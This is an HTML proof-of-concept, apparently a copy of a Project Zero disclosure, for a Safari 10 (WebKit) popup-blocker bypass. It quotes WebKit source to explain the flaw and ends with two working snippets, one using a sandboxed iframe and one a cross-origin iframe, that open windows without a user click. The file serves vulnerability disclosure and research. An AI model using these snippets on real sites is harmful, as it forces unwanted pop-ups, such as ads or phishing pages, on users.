1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 |
<!-- Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1050 The second argument of window.open is a name for the new window. If there's a frame that has same name, it will try to load the URL in that. If not, it just tries to create a new window and pop-up. But without the user's click event, its attempt will fail. Here's some snippets. RefPtr<DOMWindow> DOMWindow::open(const String& urlString, const AtomicString& frameName, const String& windowFeaturesString, DOMWindow& activeWindow, DOMWindow& firstWindow) { ... ---------------- (1) ----------------------- if (!firstWindow.allowPopUp()) { <<---- checks there's the user's click event. // Because FrameTree::find() returns true for empty strings, we must check for empty frame names. // Otherwise, illegitimate window.open() calls with no name will pass right through the popup blocker. if (frameName.isEmpty() || !m_frame->tree().find(frameName)) return nullptr; } -------------------------------------------- ... RefPtr<Frame> result = createWindow(urlString, frameName, parseWindowFeatures(windowFeaturesString), activeWindow, *firstFrame, *m_frame); return result ? result->document()->domWindow() : nullptr; } RefPtr<Frame> DOMWindow::createWindow(const String& urlString, const AtomicString& frameName, const WindowFeatures& windowFeatures, DOMWindow& activeWindow, Frame& firstFrame, Frame& openerFrame, std::function<void (DOMWindow&)> prepareDialogFunction) { ... RefPtr<Frame> newFrame = WebCore::createWindow(*activeFrame, openerFrame, frameRequest, windowFeatures, created); if (!newFrame) return nullptr; ... } RefPtr<Frame> createWindow(Frame& openerFrame, Frame& lookupFrame, const FrameLoadRequest& request, const WindowFeatures& features, bool& created) { ASSERT(!features.dialog || request.frameName().isEmpty()); created = false; ---------------- (2) ----------------------- if (!request.frameName().isEmpty() && request.frameName() != "_blank") { if (RefPtr<Frame> frame = lookupFrame.loader().findFrameForNavigation(request.frameName(), openerFrame.document())) { if (request.frameName() != "_self") { if (Page* page = frame->page()) page->chrome().focus(); } return frame; } } -------------------------------------------- <<<<<----------- failed to find the frame, creates a new one. ... } The logic of the code (1) depends on the assumption that if |m_frame->tree().find(frameName)| succeeds, |lookupFrame.loader().findFrameForNavigation| at (2) will also succeed. If we could make |m_frame->tree().find(frameName)| succeed but |lookupFrame.loader().findFrameForNavigation| fail, a new window will be created and popped up without the user's click event. Let's look into |findFrameForNavigation|. Frame* FrameLoader::findFrameForNavigation(const AtomicString& name, Document* activeDocument) { Frame* frame = m_frame.tree().find(name); // FIXME: Eventually all callers should supply the actual activeDocument so we can call canNavigate with the right document. if (!activeDocument) activeDocument = m_frame.document(); if (!activeDocument->canNavigate(frame)) return nullptr; return frame; } bool Document::canNavigate(Frame* targetFrame) { ... if (isSandboxed(SandboxNavigation)) { <<<--------------- (1) if (targetFrame->tree().isDescendantOf(m_frame)) return true; const char* reason = "The frame attempting navigation is sandboxed, and is therefore disallowed from navigating its ancestors."; if (isSandboxed(SandboxTopNavigation) && targetFrame == &m_frame->tree().top()) reason = "The frame attempting navigation of the top-level window is sandboxed, but the 'allow-top-navigation' flag is not set."; printNavigationErrorMessage(targetFrame, url(), reason); return false; } ... if (canAccessAncestor(securityOrigin(), targetFrame)) <<<------------------- (2) return true; ... return false; } There are two points to make |Document::canNavigate| return false. (1). Using a sandboxed iframe. <body> <iframe name="one"></iframe> <iframe id="two" sandbox="allow-scripts allow-same-origin allow-popups"></iframe> <script> function main() { two.eval('open("https://abc.xyz", "one");'); } main() </script> </body> (2). Using a cross-origin iframe. --> <body> <iframe name="one"></iframe> <script> function main() { document.body.appendChild(document.createElement("iframe")).contentDocument.location = "data:text/html,<script>open('https://abc.xyz', 'one')</scri" + "pt>"; } main() </script> </body> <!-- Tested on Safari 10.0.2 (12602.3.12.0.1). --> |